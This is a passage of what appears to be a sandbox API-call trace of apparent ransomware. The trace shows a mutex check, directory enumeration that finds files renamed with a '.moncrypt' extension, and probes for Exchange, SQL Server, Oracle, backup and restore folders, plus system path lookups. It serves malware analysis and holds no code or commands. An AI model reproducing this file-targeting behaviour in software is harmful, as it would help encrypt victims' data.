lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.558] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.558] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.559] GlobalUnlock (hMem=0x440004) returned 0 [0050.559] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.559] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.559] GlobalUnlock (hMem=0x440004) returned 0 [0050.559] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.559] GlobalUnlock (hMem=0x44000c) returned 0 [0050.559] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.559] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.559] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.559] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.559] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.559] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.559] GlobalUnlock (hMem=0x44000c) returned 0 [0050.559] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.559] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.559] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.559] GlobalUnlock (hMem=0x44000c) returned 0 [0050.559] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.559] GlobalUnlock (hMem=0x440004) returned 0 [0050.559] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.559] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8929, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.559] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.559] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.559] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.559] GlobalUnlock (hMem=0x440004) returned 0 [0050.559] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.559] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.560] GlobalUnlock (hMem=0x440004) returned 0 [0050.560] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.560] GlobalUnlock (hMem=0x44000c) returned 0 [0050.560] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.560] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8929, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.560] GetLastError () returned 0x12 [0050.560] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.560] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0050.560] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.560] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.560] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.560] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.560] GlobalUnlock (hMem=0x44000c) returned 0 [0050.560] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.560] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.560] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.560] GlobalUnlock (hMem=0x44000c) returned 0 [0050.560] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.560] GlobalUnlock (hMem=0x440004) returned 0 [0050.560] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.561] GlobalLock (hMem=0x440004) returned 0x550170 [0050.561] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.561] GlobalUnlock (hMem=0x440004) returned 0 [0050.561] GlobalLock (hMem=0x440004) returned 0x550170 [0050.561] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.561] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.561] GlobalUnlock (hMem=0x440004) returned 0 [0050.561] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.561] GlobalUnlock (hMem=0x44000c) returned 0 [0050.561] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.561] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS") returned 1 [0050.561] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.561] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.561] GlobalUnlock (hMem=0x44000c) returned 0 [0050.561] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.561] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.561] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.561] GlobalUnlock (hMem=0x44000c) returned 0 [0050.561] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.561] GlobalUnlock (hMem=0x440004) returned 0 [0050.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夎U壢U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.566] GetLastError () returned 0x3 [0050.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0050.567] GetLastError () returned 0x2 [0050.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0050.568] GetLastError () returned 0x2 [0050.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0050.568] GetLastError () returned 0x2 [0050.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@塤U企@\x18셤R\x18j")) returned 0xffffffff [0050.569] GetLastError () returned 0x2 [0050.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0050.569] GetLastError () returned 0x2 [0050.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0050.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0050.570] GetLastError () returned 0x2 [0050.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0050.570] GetLastError () returned 0x2 [0050.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0050.571] GetLastError () returned 0x2 [0050.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.571] GetLastError () returned 0x2 [0050.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0050.571] GetLastError () returned 0x2 [0050.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.572] GlobalLock (hMem=0x440004) returned 0x550170 [0050.572] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.572] GlobalUnlock (hMem=0x440004) returned 0 [0050.572] GlobalLock (hMem=0x440004) returned 0x550170 [0050.572] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.572] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.572] GlobalUnlock (hMem=0x440004) returned 0 [0050.572] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.572] GlobalUnlock (hMem=0x44000c) returned 0 [0050.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.572] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.572] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.573] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.573] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.573] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.573] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.573] GlobalUnlock (hMem=0x44000c) returned 0 [0050.573] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.573] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.573] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.573] GlobalUnlock (hMem=0x44000c) returned 0 [0050.573] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.573] GlobalUnlock (hMem=0x440004) returned 0 [0050.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.573] MultiByteToWideChar 